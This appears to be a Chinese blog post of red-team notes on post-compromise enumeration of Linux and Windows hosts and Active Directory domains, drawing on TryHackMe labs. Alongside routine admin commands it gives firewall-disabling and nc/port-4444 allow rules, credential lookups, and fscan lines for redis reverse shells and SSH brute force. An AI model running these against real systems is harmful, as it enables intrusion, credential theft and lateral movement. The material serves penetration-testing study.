系统内信息搜集技术

Linux

常用命令汇总

分类 命令/操作 描述/用途
Linux 系统信息 ls /etc/*-release 查看发行版本信息文件
uname -a 显示系统内核和硬件架构信息
ls -alh /var/mail 查看系统邮件目录
ls -lh /usr/bin/ /sbin/ 列出已安装应用程序路径
rpm -qa
dpkg -l
列出所有安装的软件包(RPM/DEB系)
hostname 显示系统主机名(与Windows命令同名)
Linux 用户管理 who 显示当前登录用户信息
w 显示登录用户及其活动
last 查看系统登录历史记录

网络

dns解析

cat /etc/resolv.conf

netstat:网络连接状况命令

常用参数:

选项 描述
-a 显示监听和非监听套接字
-l 仅显示监听套接字
-n 显示数字输出而不是解析 IP 地址和端口号
-t TCP
-u UDP
-x UNIX
-p 显示套接字所属程序的 PID 和名称

常用组合:

# 返回 监听 TCP 套接字的程序 。
netstat -plt

# 显示 所有 TCP 和 UDP 监听和建立的连接以及带有地址和端口的 程序 名称,格式为 数字 
netstat -atunp

PS:要使用sudo或者root权限才能列出在该端口号上监听的“程序名称”。

lsof:列出打开的文件

主要用于列出系统中当前被打开的文件,显示进程与文件之间的关联信息,这对于系统监控、故障排查和资源管理等场景非常重要。

lsof 可展示系统中所有正在运行的进程所打开的文件信息,包括:

  • 文件类型:普通文件、目录、套接字(Socket)、管道(Pipe)、设备文件等。
  • 进程信息:进程 ID(PID)、进程所有者、进程名称等。
  • 文件路径:文件的完整路径或设备节点。

参数列表:

参数 作用描述
-a 多个条件 “与” 的关系(如同时指定用户和文件类型)
-c string 筛选进程名包含指定字符串的进程
-d fd 筛选指定文件描述符(如-d 0表示标准输入,-d 2表示标准错误)
-g 显示与进程组相关的文件信息
-i [4/6] 筛选 IPv4 或 IPv6 的网络连接,可加端口号(如-i :80
-p pid 筛选指定 PID 的进程打开的文件
-u username 筛选指定用户打开的文件
-t 仅输出 PID(常用于管道操作)
-l 显示文件锁信息
-n 不将网络地址解析为域名(提升性能)
-P 不将端口号解析为服务名称(避免 DNS 查询)

常用命令:

# 只显示互联网和网络连接
lsof -i

# 列出指定端口的相关信息,比如25
lsof -i :25

运行中的服务

ps:列出正在运行的进程和机器相关信息

参数列表:

选项 描述
-e 所有进程
-f 完整格式列表
-j 任务格式
-l 长格式
-u 以用户为导向的格式

PS:可以使用类似的结果并使用 BSD 语法查看所有进程:ps axps aux。注意,使用 BSD 语法时,ax 是必要的,因为它们取消了“仅限自己”和“必须有 tty”的限制;换句话说,可以显示所有进程。而 u 是用于显示拥有进程的用户详细信息。

为了获得更“可视化”的输出,可以输入 ps axjf 来打印进程树。其中 f 代表“森林”,它会在终端输出中创建一个 ASCII 艺术的进程层次结构,比如:

user@TryHackMe$ ps axf
   PID TTY      STAT   TIME COMMAND
     2 ?        S      0:00 [kthreadd]
     4 ?        S<     0:00  \_ [kworker/0:0H]
     5 ?        S      0:01  \_ [kworker/u256:0]
[...]
   978 ?        Ss     0:00 /usr/sbin/sshd -D
  5665 ?        Ss     0:00  \_ sshd: peter [priv]
  5693 ?        S      0:00  |   \_ sshd: peter@pts/1
  5694 pts/1    Ss     0:00  |       \_ -bash
  5713 pts/1    S+     0:00  |           \_ vi notes.txt
  5723 ?        Ss     0:00  \_ sshd: jane [priv]
  5727 ?        S      0:00      \_ sshd: jane@pts/0
  5728 pts/0    Ss     0:00          \_ -bash
  7080 pts/0    R+     0:00              \_ ps axf
[...]

Windows

常用命令汇总

下表是一些Windows内信息搜集的常用命令:

分类 命令/操作 描述/用途
系统信息 systeminfo 显示系统详细信息(版本/补丁/硬件配置)
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装补丁列表
wmic product get name,version,vendor 列出已安装应用程序
wmic service list brief 列出本机服务信息
echo %PROCESSOR_ARCHITECTURE% 查看系统架构(x86/x64)
schtasks /query /fo LIST /v 列出计划任务(需chcp 437解决编码问题)
net share
wmic share get name,path,status
查询共享列表
DRIVERQUERY 列出已安装驱动
wmic startup get command,caption 列出启动程序
route print 显示路由表信息
用户管理 whoami 显示当前用户名
whoami /priv 查看当前用户权限
whoami /groups 显示用户所属组
net user 列出本地用户账户
wmic useraccount get name,SID 获取用户SID信息
net localgroup 列出本地用户组
net accounts 查看本地账户策略
net accounts /domain 查看域密码策略(域环境)
网络相关 ipconfig 显示网络配置信息
ipconfig /displaydns 显示DNS缓存记录
arp -a 显示ARP缓存表
netstat -ano 显示所有网络连接和监听端口
net use \\SMBPATH Pa$$w0rd /u:UserName 建立SMB连接
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber 查询RDP端口配置(0xd3d=3389)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 查看代理配置信息
route print 显示路由表(与系统信息部分合并)
netsh firewall show config 显示防火墙配置
进程与服务 tasklist /svc 列出进程及其关联服务
net start 列出已启动服务
sc query 列出所有服务状态
sc qc ServiceName 查询指定服务的二进制路径
安全相关 icacls "C:\Example" 查看文件/目录权限
cmdkey /list 查看保存的登录凭证
dir %APPDATA%\Microsoft\Windows\Recent 查看最近打开的文档
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* 查找本地RDP凭证
wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname 检测已安装杀毒软件
系统操作 shutdown /r /t 0 立即重启系统
type file.txt 查看文本文件内容
(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath") PowerShell远程下载文件

PS:以上命令都需要cmd命令行进行执行。

防火墙

查看防火墙是否开启

netsh firewall show state

关闭防火墙强

# Windows server 2003:
netsh firewall set opmode disable

#Windows server 2003之后:
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

查看防火墙配置

netsh firewall show config

修改防火墙配置

# 2003及之前的版本,允许指定的程序进行全部的连接:
netsh firewall add allowedprogram c:\nc.exe "allownc" enable

#2003之后的版本,允许指定的程序进行全部的连接:
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\nc.exe"

# 允许指定程序退出,命令如下:
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \nc.exe"

# 允许3389端口放行,命令如下:
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444 #允许4444端口进站
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe  #允许a.exe进站
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444 #允许4444端口出站
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe #允许a.exe出站

net命令详解

net命令可以查看当前主机的管理网络环境、服务、用户、登陆等信息内容,常用命令如下:

命令 目的 语法 示例
net user 查看本地用户信息 net user [用户名] net user
net user Administrator
net user /add 创建本地用户 net user <用户名> <密码> /add net user testUser P@ssw0rd /add
net user /delete 删除本地用户 net user <用户名> /delete net user testUser /delete
net localgroup 查看本地组信息 net localgroup [组名] net localgroup
net localgroup Administrators
net localgroup /add 将用户添加到本地组 net localgroup <组名> <用户名> /add net localgroup Administrators testUser /add
net share 查看本机共享资源 net share net share
net share /add 创建共享目录 net share <共享名>=<路径> [权限] net share Data=C:\Data /grant:Everyone,READ
net share /delete 删除共享目录 net share <共享名> /delete net share Data /delete
net start 启动服务 net start <服务名> net start Spooler
net stop 停止服务 net stop <服务名> net stop Spooler
net view 查看域/工作组中的计算机 net view /domain
net view \\计算机名
net view /domain:Corp
net view \\DC01
net group 查看域组信息(需域权限) net group [组名] /domain net group "Domain Admins" /domain
net time 同步域时间 net time \\域控制器 /set /y net time \\DC01 /set /y
net use 映射/查看网络驱动器 net use [驱动器:] \\IP\共享名 /user:用户名 密码 net use Z: \\192.168.1.10\Share /user:Admin P@ss
net use /delete 断开网络驱动器 net use 驱动器: /delete net use Z: /delete
net config 查看计算机名和域信息 net config workstation net config workstation
net statistics 查看网络统计信息 net statistics workstation
net statistics server
net statistics server

DNS、SMB 和 SNMP

dns

尝试 DNS 区域传输的一个简单方法是通过 dig 命令.根据 DNS 服务器配置,DNS 区域传输可能受到限制。如果没有限制,应该可以使用 dig -t AXFR DOMAIN_NAME @DNS_SERVER 实现。 -t AXFR 表示我们正在请求区域传输,而 @DNS_SERVER 之前, DNS_SERVER 是我们想要查询的与指定 DOMAIN_NAME 相关的记录。

PS:dig命令是在其他主机上执行,而不是目标,比如目标是10.10.204.94,查询redteam.thm的相关信息:

┌──(root㉿kali)-[/home/kali]
└─# dig -t AXFR redteam.thm @10.10.204.94

; <<>> DiG 9.20.7-1-Debian <<>> -t AXFR redteam.thm @10.10.204.94
;; global options: +cmd
redteam.thm.            3600    IN      SOA     red-win-enum. hostmaster. 5 900 600 86400 3600
redteam.thm.            3600    IN      NS      red-win-enum.
first.redteam.thm.      3600    IN      A       10.10.254.1
flag.redteam.thm.       3600    IN      TXT     "THM{DNS_ZONE}"
second.redteam.thm.     3600    IN      A       10.10.254.2
tryhackme.redteam.thm.  3600    IN      CNAME   tryhackme.com.
redteam.thm.            3600    IN      SOA     red-win-enum. hostmaster. 5 900 600 86400 3600
;; Query time: 528 msec
;; SERVER: 10.10.204.94#53(10.10.204.94) (TCP)
;; WHEN: Fri Apr 11 23:05:50 EDT 2025
;; XFR size: 7 records (messages 1, bytes 295)

SMB(服务器消息块)

服务器消息块(SMB)是一种通信协议,它提供了对文件和打印机的共享访问。我们可以使用 net share 检查共享文件夹。

示例:

user@TryHackMe$ net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
Internal     C:\Internal Files               Internal Documents
Users        C:\Users
The command completed successfully.

可以看到名为 Internal 的 C:\Internal Files 被共享。

SNMP 简单网络管理协议

简单网络管理协议(SNMP)旨在帮助收集有关网络中不同设备的信息。SNMP 可以为攻击者提供大量信息。

工具1: snmpcheck

语法: /opt/snmpcheck/snmpcheck.rb 10.10.204.94 -c COMMUNITY_STRINGsnmpcheck 10.10.204.94 -c COMMUNITY_STRING

工具2:snmpwalk

语法:snmpwalk -c public 10.10.1.133

信息搜集

OSINT 与钓鱼

通过社工和信息搜集,在公共论坛等地方搜集目标信息,比如,在代码中硬编码凭据,然后将其上传到 github,诱导受害者点击恶意链接或下载恶意程序。

详细信息搜集参见:小迪安全之信息收集

本地信息搜集

命令行信息搜集

使用命令进行信息搜集参考:系统内信息搜集

自动化信息搜集

使用 bat 脚本实现本地信息自动搜集的功能:

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

执行后生成一个 html 文件,内容参考:

image-20250510161315515

域信息搜集

获取台主机的权限后,有四种情况:

1、本地普通用户:当前为本机的 user 用户

image-20250511144651968

2、本地管理员用户:当前为本机的 admmistrator

image-20250511144706559

3、本地 system 权限:当前为本机的 system 权限

4、域内用户:当前为域内普通用户

image-20250511144720084

5、域内用户:当前为 hacke 域内的 administrator 用户

image-20250511144733553

如果当前内网中存在域,在这五种情况中:

  • 本地普通用户只能查询本机相关信息,不能查询域内信息。
  • 本地管理员用户和域内用户可以查询域内信息
  • 本地 system 权限拥有对本机的完全控制权限,可以查看当前计算机中保存的任何内容,比如域用户的凭据。

内网 IP 扫描

NetBIOS 探测

适用于局域网,能读取到 pc 的真实 IP 和 mac 等信息:

nbtscan.exe + IP

ICMP 探测 IP

通过对内网中每个 ip 都执行 ping 命令,找出所有存活主机:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

APR 探测 IP

使用 arp 协议进行 IP 探测

arp.exe -t IP

fscan 自动化工具

支持主机存活探测、端口扫描等操作

# 简单用法
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)

# 其他用法
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)

域存在判断

有多种方式查找当前主机是否在域中:

  • 通过 ipconfig /all 在 dns 中得到域名,然后使用 ping 或 nslookup 解析,得到 ip
  • 通过 systeminfo 会列出主机相关信息,其中有一个 domain/域字段会显示在哪个域
  • 通过 Net time /domain 向 dc 查看时间,会有三种情况:
    1. 拒绝访问:存在域,但当前用户不是域用户
    2. 更新成功:存在域,并且当前用户是域用户
    3. 找不到 DC:当前网络环境为工作组,不存在域

查找域控

命令 说明
nltest /DCLIST:hack 执行后可以得到 DC 的机器名(以$开头)
nslookup ‐type=SRV _ldap._tcp 查看 DC 的主机名
net time /domain 查看当前时间,时间服务器即为 DC
net group "Domain Controllers" /domain 查看 DC 组,其中一台即为 DC

在实际网络中, 一个域内一般存在两台或两台以上的域控制器, 其目的是: 一旦主域控制器发生故障, 备用的域控制器可以保证域内的服务和验证工作正常进行。

域用户基本信息

说明 命令
向 DC 查询 net user /doamin
域内用户信息 wmic useraccount get/all
查看存在的用户 dsquery user Tips:此命令仅 server 系统支持
本地管理员组用户 net localgroup administrator
域管理员用户 net group "domain admins" /doamin
域管理员组用户 net group "Enterprise Admins" /doamin

定位域管

在获取一个支点后需要拿到域管的位置,定位域管的方式主要有两个:一是本地机器的管理员日志,二是域内每台机器的登录会话。

手动定位

使用以下命令:

net view /domain  # 查看当前域名
net view /domain:域名  # 查看域内部所有计算机名
net group /domain  # 查看域内部所有用户组列表
net group "domain computers" /domain  # 查看所有域成员计算机列表
net accounts /domain  # 查看域密码信息
nltest /domian_trusts  # 获取域信任信息
nltest /DCLIST:域名  # 查看域控制器机器名
net time /domain  # 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain  # 查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain  # 查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all  # 获取域内用户详细信息
dsquery user  # 查看域内存在的用户
net localgroup administrators  # 查看本地管理员用户组
net group "domain admins" /domain  # 查询域管理员用户

psloggedom 工具

psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。

psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]

PVEDFindADUser 工具

PVEFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要有.NETFramework 2.0,并且 需要具有管理员权限

pvefindaduser.exe ‐current

netview 工具

netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登陆会话,利 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe 的绝大部分功能不需要管理员权限就可以使用。

netview.exe -d hack

自动化工具

常见的工具:

  • Sysinternals Suite
  • Process Hacker
  • GhostPack Seatbelt

Sysinternals Suite

提供有关 Windows 系统各个方面信息的命令行和 GUI 工具和程序。

工具名称 描述
Process Explorer 显示进程以及打开的文件和注册表键
Process Monitor 监视文件系统、进程和注册表
PsList 提供关于进程的信息
PsLoggedOn 显示已登录的用户
posted @ 2025-12-04 16:26  shinianyunyan  阅读(1)  评论(0)    收藏  举报